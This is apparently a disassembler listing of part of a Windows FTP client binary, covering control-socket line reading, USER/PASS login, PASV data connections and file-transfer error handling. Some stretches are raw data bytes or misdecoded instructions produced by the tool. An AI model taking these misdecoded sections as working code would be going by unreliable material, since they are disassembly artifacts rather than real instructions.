		call	sub_4381DE
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 0C681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42DC1D:				; CODE XREF: ___:0042DBDEj
		push	ebp
		mov	ebp, dword_511AD0
		call	ebp
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 447404h, 91ACE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 13E85700h,	830000A6h, 775FFF8h, 4473F468h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
		dd 71F46807h, 1BEB0044h, 14468h, 0E8016A00h, 777FE42Bh
		dd 83F08B90h, 0F33B08C4h, 0EC681E75h, 90004473h, 809145E8h
		dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h
		dd 73EC6824h, 0E8900044h, 77809112h, 5704C483h,	0A513E8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE00	proc near		; CODE XREF: ___:0042E556p
					; sub_42F2C0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE3A


loc_42DE22:				; CODE XREF: sub_42DE00+8Ej
					; sub_42DE00+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DE3A:				; CODE XREF: sub_42DE00+20j
		mov	eax, dword_5103A8
		mov	ebx, dword_511A8C
		cmp	eax, 1
		jle	short loc_42DE5E
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx
		add	esp, 0Ch


loc_42DE5E:				; CODE XREF: sub_42DE00+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42DEDE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42DF40
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42DE22
		mov	ebp, dword_511AE0


loc_42DE96:				; CODE XREF: sub_42DE00+D7j
		cmp	dword_5103A8, 1
		jle	short loc_42DEB4
		mov	edx, dword_511A90
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx
		add	esp, 0Ch


loc_42DEB4:				; CODE XREF: sub_42DE00+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DEDE
		push	edi
		push	100h
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE96
		jmp	loc_42DE22
; ---------------------------------------------------------------------------


loc_42DEDE:				; CODE XREF: sub_42DE00+62j
					; sub_42DE00+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42DE00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF40	proc near		; CODE XREF: sub_42DE00+15p
					; sub_42DE00+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42DF70
		cmp	eax, 1
		jz	short loc_42DF70
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF70:				; CODE XREF: sub_42DF40+1Ej
					; sub_42DF40+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42DF82
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF82:				; CODE XREF: sub_42DF40+36j
					; sub_42DF40+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42DFD3
		cmp	ebx, edi
		jge	short loc_42DF90
		lea	edi, [ebx-1]


loc_42DF90:				; CODE XREF: sub_42DF40+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42DFA9
		mov	edi, eax
		sub	edi, ebp


loc_42DFA9:				; CODE XREF: sub_42DF40+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42E05A


loc_42DFD3:				; CODE XREF: sub_42DF40+47j
		cmp	ebx, 1
		jz	loc_42E0AD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42DFFB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42DFFB:				; CODE XREF: sub_42DF40+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42E0C0
		push	esi
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	loc_42E0F2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E0DC
		test	eax, eax
		jnz	short loc_42E03F
		mov	[esp+18h+var_4], 1


loc_42E03F:				; CODE XREF: sub_42DF40+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42DF82
; ---------------------------------------------------------------------------


loc_42E05A:				; CODE XREF: sub_42DF40+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4471E4 ; "\r\n"
		mov	eax, ebp


loc_42E064:				; CODE XREF: sub_42DF40+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		test	cl, cl
		jz	short loc_42E088
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42E064


loc_42E088:				; CODE XREF: sub_42DF40+130j
		xor	eax, eax
		jmp	short loc_42E091
; ---------------------------------------------------------------------------


loc_42E08C:				; CODE XREF: sub_42DF40+12Cj
					; sub_42DF40+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42E091:				; CODE XREF: sub_42DF40+14Aj
		test	eax, eax
		jnz	short loc_42E0F2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0AD:				; CODE XREF: sub_42DF40+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0C0:				; CODE XREF: sub_42DF40+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42E0F2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0DC:				; CODE XREF: sub_42DF40+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42E0F2:				; CODE XREF: sub_42DF40+D2j
					; sub_42DF40+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42DF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E170	proc near		; CODE XREF: sub_42DF40+C8p
					; sub_42EF60:loc_42EF8Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42E253
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42E253
		cmp	eax, 2
		jnz	short loc_42E1A5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E1A5:				; CODE XREF: sub_42E170+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42E1A9:				; CODE XREF: sub_42E170+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42E1B0:				; CODE XREF: sub_42E170+98j
		cmp	eax, 40h
		jnb	short loc_42E1C5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42E1C5:				; CODE XREF: sub_42E170+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_438208
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42E20A
		test	eax, eax
		jg	short loc_42E241
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42E246
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42E1B0
; ---------------------------------------------------------------------------


loc_42E20A:				; CODE XREF: sub_42E170+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E241:				; CODE XREF: sub_42E170+7Dj
		mov	edi, 1


loc_42E246:				; CODE XREF: sub_42E170+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E253:				; CODE XREF: sub_42E170+19j
					; sub_42E170+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42E170	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2B0:				; CODE XREF: ___:0040141Aj
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42E35F	; default
		jmp	off_42E364[eax*4] ; switch jump


loc_42E2C7:				; DATA XREF: ___:off_42E364o
		mov	eax, [esp+8]	; jumptable 0042E2C0 case 0
		cmp	eax, 1
		jz	short loc_42E2D9
		cmp	eax, 2
		jnz	loc_42E35F	; default


loc_42E2D9:				; CODE XREF: ___:0042E2CEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2E8:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	edx, [esp+0Ch]	; jumptable 0042E2C0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2FB:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		push	esi		; jumptable 0042E2C0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E33C:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E34F:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42E35F:				; CODE XREF: ___:0042E2BAj
					; ___:0042E2D3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42E364	dd offset loc_42E2C7	; DATA XREF: ___:0042E2C0r
		dd offset loc_42E2E8	; jump table for switch	statement
		dd offset loc_42E2FB
		dd offset loc_42E33C
		dd offset loc_42E34F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E3C0	proc near		; CODE XREF: sub_402266j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	edi, dword_511A6C
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E42D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E42D:				; CODE XREF: sub_42E3C0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E451:				; CODE XREF: sub_42E3C0+1Bj
					; sub_42E3C0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42E3C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E490	proc near		; CODE XREF: sub_42E3C0+51p
					; sub_42E3C0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42E4B3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4B3:				; CODE XREF: sub_42E490+15j
		mov	eax, dword_5103A8
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2


loc_42E4C2:				; CODE XREF: ___:0042E53Dj
		jle	short loc_42E4DC
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42E4DC:				; CODE XREF: sub_42E490:loc_42E4C2j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42E4FC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4FC:				; CODE XREF: sub_42E490+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		nop
		call	near ptr 77C3F931h
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_4381F6
sub_42E490	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		jo	short near ptr byte_42E5AA
		inc	esp
		add	[eax-7F774B18h], dl
		ja	short loc_42E4C2
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 3Ah dup(0CCh)
byte_42E5AA	db 6 dup(0CCh)		; CODE XREF: ___:0042E534j

; =============== S U B	R O U T	I N E =======================================



sub_42E5B0	proc near		; CODE XREF: sub_401F73j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42E5FC
		cmp	edi, 4
		jz	short loc_42E5D6
		cmp	edi, 3
		jnz	short loc_42E5FC


loc_42E5D6:				; CODE XREF: sub_42E5B0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E5FC:				; CODE XREF: sub_42E5B0+1Aj
					; sub_42E5B0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_511A6C
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4474B8
		push	edx
		call	ebp
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	loc_42E7BE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42E7AF	; default
		jmp	off_42E7CC[eax*4] ; switch jump


loc_42E648:				; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474B0 ; jumptable 0042E641 case 1
		mov	dl, byte_4474B4
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E663:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	eax, dword_4474A8 ; jumptable 0042E641 case 2
		mov	cl, byte_4474AC
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E67D:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	edx, dword_4474A0 ; jumptable 0042E641 case 3
		mov	al, byte_4474A4
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E697:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_447498 ; jumptable 0042E641 case 4
		mov	dl, byte_44749C
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42E6B0:				; CODE XREF: sub_42E5B0+B1j
					; sub_42E5B0+CBj ...
		test	esi, esi
		jz	short loc_42E703
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42E7BE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42E703:				; CODE XREF: sub_42E5B0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42E870
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E7BE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E758
		mov	eax, [esi]
		push	eax
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E758:				; CODE XREF: sub_42E5B0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42E79F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42ED50
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E79F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E79F:				; CODE XREF: sub_42E5B0+1B8j
					; sub_42E5B0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7AF:				; CODE XREF: sub_42E5B0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp
		add	esp, 0Ch


loc_42E7BE:				; CODE XREF: sub_42E5B0+7Fj
					; sub_42E5B0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42E5B0	endp

; ---------------------------------------------------------------------------
		align 4
off_42E7CC	dd offset loc_42E648	; DATA XREF: sub_42E5B0+91r
		dd offset loc_42E663	; jump table for switch	statement
		dd offset loc_42E67D
		dd offset loc_42E697
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E870	proc near		; CODE XREF: sub_42E5B0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42EB94
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42E8D2
		cmp	eax, 2
		jz	short loc_42E8D2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E8D2:				; CODE XREF: sub_42E870+3Aj
					; sub_42E870+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42E904
		cmp	eax, 49h
		jz	short loc_42E904
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E904:				; CODE XREF: sub_42E870+6Cj
					; sub_42E870+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42E9E9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42EB94
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42EB94
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
